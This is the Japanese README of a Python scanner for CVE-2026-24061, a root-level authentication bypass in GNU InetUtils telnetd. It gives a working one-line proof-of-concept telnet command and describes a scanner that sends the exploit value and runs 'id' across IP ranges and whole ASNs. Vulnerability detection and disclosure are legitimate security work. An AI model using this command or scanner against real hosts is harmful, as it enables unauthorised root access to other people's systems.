🛰️ Twenty-Three Scanner

Telnetd サービスの脆弱性 CVE-2026-24061 を検出するための、強力かつ高速で洗練されたスキャナーです。純粋な Python 標準ライブラリのみで構築されており、外部依存関係は一切不要です。

🔗 目次

⚖️ ライセンス
🧩 機能
☣️ 脆弱性の詳細
- ⚡ サービスステータス
- 🧪 概念実証 (PoC)
- 💥 影響を受けるバージョン
- 🧵 修正済みバージョン
- ⚔️ 攻撃ベクトル
- 🚨 CVSS スコア
🛠️ インストール
📜 使用方法
🎯 使用例
⚗️ デモ
📖 参考情報

🧩 機能

🚀 高性能スキャン – 設定可能なスレッド数によるマルチスレッドアーキテクチャ。
🌐 柔軟なターゲット入力 – 単一 IP、CIDR レンジ、ASN ルックアップ、ファイルベースのリストに対応。
📊 リアルタイム進捗表示 – ライブ進捗バーを備えた美しい Unicode ベースの UI。
🤖 ASN インテリジェンス – RADB、BGPView、HackerTarget API からの自動プレフィックス取得。
🌍 地理位置情報インテリジェンス – ipapi API からのリアルタイムの ASN、プロバイダー、場所の取得。
💾 優雅な中断処理 – 自動結果保存を備えた CTRL+C ハンドリング。
📝 詳細なロギング – デバッグ用の設定可能な冗長レベル。
🛡️ 安全なスキャン – 誤って大規模なスキャンを防ぐための組み込み制限。
🎨 クリーンな出力 – スキャンサマリー付きのプロフェッショナルなボーダー付きテーブル。
📦 依存関係ゼロ – 純粋な Python 3.x 標準ライブラリのみ。

☣️ 脆弱性の詳細

CVE-2026-24061 は、GNU InetUtils の Telnetd における重大な認証バイパス脆弱性であり、NEW-ENVIRON オプション処理を悪用することで、認証されていないリモート攻撃者が root アクセスを取得できるようになります。

⚡ サービスステータス

以下は、ターゲットホスト側の Telnetd サービス構成です。

🧪 概念実証 (PoC)

そして、これがこの脆弱性の概念実証 (PoC) です。攻撃者のホストから USER="-f root" telnet -a <TARGET_HOST> 23 コマンドを実行するだけで手動で実行できます。

💥 影響を受けるバージョン

GNU InetUtils >=1.9.3 <=2.7。
さまざまな組み込み Linux ディストリビューション。
脆弱な Telnetd 実装を備えた IoT デバイス。

🧵 修正済みバージョン

GNU InetUtils >=2.8。

⚔️ 攻撃ベクトル

この脆弱性は、telnet の NEW-ENVIRON (RFC 1572) オプション交渉における USER 環境変数の不適切な検証を悪用し、攻撃者が -f root などの悪意のある値を注入して認証をバイパスできるようにします。

🚨 CVSS スコア

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。

🛠️ インストール

# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner

# Make Executable
sudo chmod +x twenty-three-scanner.py

# Run the Script
sudo python3 twenty-three-scanner.py -h

📜 使用方法

以下は、脆弱性 CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass を検出するために使用できる Twenty-Three Scanner ツールのマニュアルです。

usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
                                       [--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

options:
  -h, --help            show this help message and exit

Target Options:
  -t TARGET, --target TARGET
                        target IP, CIDR, or comma-separated list (can be used multiple times)
  -f FILE, --file FILE  file containing targets (one per line, supports comments with #)
  -a ASN, --asn ASN     autonomous system number (e.g., AS10111 or 10111)

Scan Options:
  -p PORT, --port PORT  target port(s), comma-separated (default: 23)
  --threads N           number of concurrent threads (default: 50)
  --user-value VALUE    USER environment variable value for exploit (default: '-f root')

Timeout Options:
  --connect-timeout SEC
                        TCP connection timeout in seconds (default: 3.0)
  --read-timeout SEC    socket read timeout in seconds (default: 2.0)
  --id-timeout SEC      'id' command response timeout in seconds (default: 2.0)

Limit Options:
  --max-hosts-per-cidr N
                        maximum hosts to scan per CIDR block (default: 1024)
  --max-total-hosts N   maximum total hosts across all targets (default: 50000)
  --skip-large-networks
                        skip networks larger than /16 (avoids accidentally scanning huge ranges)

Output Options:
  -o FILE, --output FILE
                        save vulnerable hosts to file (format: IP:PORT)
  -v, --verbose         enable verbose debug logging

🎯 使用例

コマンドの使用方法の例をいくつか示します。

  # Scan Single IP Address, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23

  # Scan Single IP Address, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323

  # Scan Multiple IP Addresses, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23

  # Scan Multiple Addresses, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323

  # Scan CIDR Range, and Single Port with Results
  sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt

  # Scan CIDR Range, and Multiple Ports with Results
  sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23,2323 -o results.txt

  # Scan Single IP Address, Multiple Addresses, or CIDR Range from File, and Single Port with Custom Thread and Output 
  sudo python3 twenty-three-scanner.py -f targets.txt -p 23 --threads 100 -o output.txt

  # Scan Single IP Address, Multiple IP Addresss, or CIDR Range from File, and Multiple Ports with Custom Threads and Output 
  sudo python3 twenty-three-scanner.py -f targets.txt -p 23,2323 --threads 100 -o output.txt

  # Scan ASN and Single Port with Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 -p 23 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 -p 23 --threads 100

  # Scan ASN and Multiple Ports with Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 -p 23,2323 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 -p 23,2323 --threads 100

  # Scan ASN with Custom Limits and Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 --max-hosts-per-cidr 2048 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 --max-hosts-per-cidr 2048 --threads 100

⚗️ デモ

単一 IP アドレスを複数ポートでスキャン。

複数の IP アドレスを単一ポートでスキャン。

CIDR レンジを単一ポートでスキャン。

ASN を複数ポートでスキャン。

ファイルから単一 IP アドレス、複数アドレス、または CIDR レンジをスキャンし、カスタムスレッドと出力で単一ポートをスキャン。

Twenty-Three-Scanner

人気